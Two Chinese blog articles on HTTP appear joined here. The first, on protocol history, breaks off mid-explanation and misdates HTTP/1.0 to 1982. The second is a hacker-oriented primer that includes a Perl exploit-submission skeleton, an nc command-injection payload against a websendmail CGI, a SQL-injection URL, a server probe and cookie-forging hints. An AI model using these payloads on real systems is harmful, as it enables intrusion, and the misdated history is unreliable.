|
HTTP是Web協議集中的重要協議,它是從客戶機/服務器模型發展起來的。客戶機/服務器是運行一對相互通信的程序,客戶與服務器連接時,首先,向服務 器提出請求,服務器根據客戶的請求,完成處理並給出響應。瀏覽器就是與Web服務器產生連接的客戶端程序,它的端口為TCP的80端口,。瀏覽器與Web 服務器之間所遵循的協議就是HTTP。 1982年,Tim Berners-Lee提出了HTTP/1.0,在此后的不斷豐富和發展中,HTTP/1.0成為最重要的面向事務的應用層協議。該協議對每一次請求/響 應,建立並拆除一次連接。其特點是簡單、易於管理,所以它符合了大家的需要,得到了廣泛的應用。其缺點是仍會發生下列問題:對用戶請求響應慢、網絡擁塞嚴 重、安全性等。 1997年形成的HTTP/1.1,也就是現在普遍使用的協議,在持續連接操作機制中實現流水方式,即客戶端需要對同一服務器 發出多個請求時,其實現在多數的網頁都是有多部分組成(比如多張圖片),可用流水線方式加快速度,流水機制就是指連續發出多個請求並等到這些請求發送完 畢,再等待響應。這樣就大大節省了單獨請求對響應的等待時間,使我們得到更快速的瀏覽。 另外,HTTP/1.1服務器端處理請求時按照收到的順序進行,這就保證了傳輸的正確性。當然,服務器端在發生連接中斷時,會自動的重傳請求,保證數據的完整性。 HTTP/1.1還提供了身份認證、狀態管理和Cache緩存等機制。這里,我想特別提一下關於HTTP/1.1中的Cache緩存機制對 HTTP/1.0的不足之處的改進,它嚴格全面,既可以減少時間延遲、又節省了帶寬。HTTP/1.1采用了內容協商機制,選擇最合適的用戶的內容表現形 式。 現在,很多地方都有用到的虛擬主機技術在HTTP/1.1中也可以實現。所謂的虛擬主機技術,就是同一主機地址實際對應多台主機。通俗的 講,當你同時在一個網站申請兩個主頁時,用協議分析儀可以發現其實這兩個主頁對應的是同一個IP地址。這樣用多台完全相同的機器形成WWW服務器就可以提 高處理的吞吐量。 傳統的解決方案是改造域名服務器使其可以根據一定的算法將同一域名解釋成不同的IP地址。分別對應虛擬主機的每台機器,其缺點是要求每台機器占用完全獨立的IP地址,這與IP地址的缺乏是相矛盾的。 因為HTTP/1.1是Internet現行的標准協議,這里詳細介紹其相關語法。 首先,HTTP/1.1格式可寫為: Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=1759249 |
http 是一個相對簡單的協議,它定義了客戶(通常通過瀏覽器)和www服務器之間的會話過程。現在我們來看看這個會話過程的簡要說明:客戶打開與服務器的套接,使用的端口通常是80。然后它服務器發送請求行,請求標題,最后是請求空行。客戶的請求通常是請求文檔,它可以是文本文件,圖片或者是程序等。服務器接受這個請求,然后查找請求的數據,最后根據查找的結果做出響應。如果上面的過程是一個cgi程序的話,那么服務器將會執行這個程序,並將程序執行的結果輸給客戶端。所以不明白cgi程序的朋友,可以這樣理解cgi程序,它可以用很多的語言來寫,只要它能完成一個任務:分析客戶請求行中的數據,然后代替服務器做出響應!我們今天要討論的就是從客戶端的角度來理解這個問題,首先來看一個標准的客戶請求格式:
請求方法 文擋地址 http/版本
請求標題:數據1
…………….
請求標題:數據N
空白行
在上面的格式中,第一行是必須的,它指明請求的文擋,又稱請求頭。下面的是請求標題可以多個。最后的空白行表示終止。這里還有一個問題,如果請求方法是POST的話那么空白行后面還可以發送附加數據。這里有一個非常重要的問題就是請求方法。無論對於我們cgi新手還是喜歡web安全的朋友,都是必須的知識
這是一個典型的請求頭:
GET /bbs/login.asp HTTP/1.0
其中GET就是一個請求方法。/bbs/login.asp是文擋的地址即URI,它是URL的一部分。HTTP/1.0 是http 協議的版本號。這種方式的請求是建立在已經和服務器的套接建立的基礎上的。完整的URL 可以是這樣的方式:http://www.target.com/bbs/login.asp 。在http 1.0的協議里定義了三種請求方式:GET,POST,HEAD。http 1.1又補充了一些,如PUT,DELETE,OPTIONS和TRACE。現在也越來越多的服務器支持這些方法。下面我們來介紹一下常用的方法。
GET 這個是瀏覽器用語向服務器請求最常用的方法。我們在瀏覽器上發送的URL就是一個GET請求,當然我們也可以用程序,比如netcat,webget等來做。我們有的時候在看到一些黑客高手們在文章中提到的一些請求的例子,可能新手朋友們很難理解,比如:
http://www.target.com/bbsxp165/bbsxp/searc...password)>1)
這就是一個相當復雜的GET請求,/searchok.asp?是請求這個asp文件,后面就是要傳輸給這個程序的數據,這個數據是根據網頁的交互固定的。服務器接受這個請求后這些數據將被放入環境變量QUERY_STRING中。數據通常是一些數據名/數據值對。沒對數據名/數據值之間用&來分開。例子的提交里forumid=()空格里的是一個sql語句,這是由於這里存在sql injection漏洞,當然不在我們討論的范圍。還有GET請求的數據不能超過一個特定的長度,比如2000字節。
POST 這個方法也是用來傳送數據的,但是與GET不同的是,使用POST的時候,數據不是附在URI后面傳遞的,而是要做為獨立的行來傳遞,此時還必須要發送一個Content_length標題,以標明數據長度,隨后一個空白行,然后就是實際傳送的數據。網頁的表單通常是用POST來傳送的。這里我們來舉兩個安全人士常用的提交方式,通常就是黑客們所謂的發現某個網頁的或者某個cgi程序的漏洞然后構造一個特殊請求的時候用的:
1,腳本實現
…………
$socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => "tcp", Type => SOCK_STREAM) or die “can’t connect to the host\n”;
print $socket "POST /$b HTTP/1.1\r\n";
print $socket "Host: $host\r\n";
print $socket "Content-Type: text/xml\r\n";
print $socket "Content-length: $length\r\n\r\n";
print $socket "$data\r\n";
$socket->recv($rbuf,500);
close($socket);
……….
以上是perl程序POST提交的主體部分,比如一個溢出程序,關鍵的地方就在於$b(URI)和$data 的構造上!
2, 使用nc來提交
建立一個hack.txt的文件輸入下面的內容:
POST /cgi-bin/websendmail HTTP/1.0
Content-length: xxx (should be replaced with the actual length of the
string passed to the server, in this case xxx=90)
receiver=;mail+your_address\@somewhere.org
然后用nc來請求
nc www.victim.com 80 <hack.txt
這樣就完成了一個post的提交,當然還有很多別的方法可以實現這個提交,這里只是舉兩個我認為方便的辦法。
HEAD 方法和GET的語法是一樣的,如果用HEAD方法請求的話,則服務器返回的只是響應標題,而不會返回被請求的文擋,HEAD方法通用於一些搜索引擎中,當然我們的cgi掃描軟件很多都是使用這個方式請求的。
以下方法屬於http 1.1的標准,我們目前使用的還少,簡單的介紹一下定義。
PUT 可以將客戶提交的文擋保存在服務器的URI上
DELETE 用於請求服務器刪除指定的URI
OPTIONS 可以請求對於指定URI可用的通用選項信息
TRACE請求服務器將附加的文擋無變更的返回,主要用於調試。
提到了請求,自然要講一下,服務器的響應了,它的標准格式如下
HTTP/版本號 狀態碼 消息
響應標題:數據1
………….
響應標題:數據N
空白行
客戶提交的文擋
看個例子吧:
nc www.victim.com 80
GET /index.html
HTTP/1.1 400 Bad Request
Date: Tue, 14 May 2002 07:03:02 GMT
Server: Apache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
127
……………
響應預定義的狀態碼有很多,通常是服務器默認的設置,是三位數,以1,2,3,4,5開頭的
1xx 主要用於調試和實驗的目的
2xx 主要表示請求成功
3xx 表示請求的uri有多個選擇或者已經移動位置了
4xx 400表示請求行中有語法錯誤,404表示文擋不存在
5xx 表示服務器內部錯誤
有的時候可能大家總是忽略了這些東西的做用,事實上有的時候他們的作用還真的不小,比如我們手頭沒有任何工具,如何知道服務器上是否有ida,printf等映射呢,我們可以這么請求:http://www.victim.com/*.ida 如果出現500 服務器內部錯誤,我想問題就已經很清楚了。
既然都說這么多的廢話了,那么再給大家來點關於URL編碼,數據傳輸的小知識,和cookies的一些介紹吧。
URL編碼和數據傳輸
下面是一個例子:
http://www1.baidu.com/baidu?word=netcat+ex...gb2312&cl=3&f=1
通常我們的瀏覽器在發送數據的時候要先經過編碼,這是一種規范。GET 和POST 都是一樣的,當然對於表單你可以用enctype字段來規定其他的編碼方式。上面的例子語法,格式是用HEAD請求的。我們看到其中有一些特殊的符號如”%”,這是由於當數據中有非字母或數據的字符時,URL編碼會將該字符轉化為其ASCII碼對應的數字,這樣便以一個兩位數字的16進制編碼來代表字符。在 URL 編碼中由百分號指示。 因此,%25 表示百分號本身(25是十六進制的,就是以 16 為基,代表百分號的 ASCII 碼值),所有127(7fhex) 以上,和 33 (21hex) 以下的所有字符都會被轉義,這包含空格符,空格的轉義符為 %20. 加號被解釋為空格符。
cookies 內容簡介
cookies的作用,這里我就不說了,光是對它語法和格式本身就進介紹,我們先來看一個cookies的例子
aspsky
userhidden=2&password=469e80d32c0559f8&userid=1&userclass=%B9%DC%C0%ED%D4%B1&username=admin& usercookies=1
localhost/bbs/
0
3061727232
29562033
2222055456
29561914
*
參考這個例子我們來看看cookies 的 properties 主要包括:
key -->aspsky
value-->userhidden=2&password=469e80d32c0559f8&userid=1&userclass=%B9%DC%C0%ED%D4%B1&usernam e=admin&usercookies=1
damain-->localhost/bbs/
secure-->0 相當於no
expire-->3061727232 29562033 有效時間需要解碼才能讀出來
modified-->3061727232 29562033 修改時間,解碼方式和expire一樣
created in ->server
有的時候還有ip address
以上這些介紹只是方便大家對cookies的理解,具體的請參考一些專業的資料。有的時候經常遇到一些朋友問起怎么偽造cookies,我想寫到這里已經非常清楚了。
說了這么多,總結一下吧
如果你是一個新手的話,如果你對http協議不是很清楚的話,建議你好好讀讀一些資料,畢竟這個是我們一天到晚泡網的基礎哦,如果你是一個和我一樣,喜歡研究網絡編程安全的朋友,那么希望我們能一起交流,一起進步。本文只是簡單的介紹了一下http方面的一些基礎知識,並沒有深入的講述,在一定程 度上說只是給新手朋友們一個概念,但是對於大家理解在網絡一些高手的精彩文章,還是相當有用的。
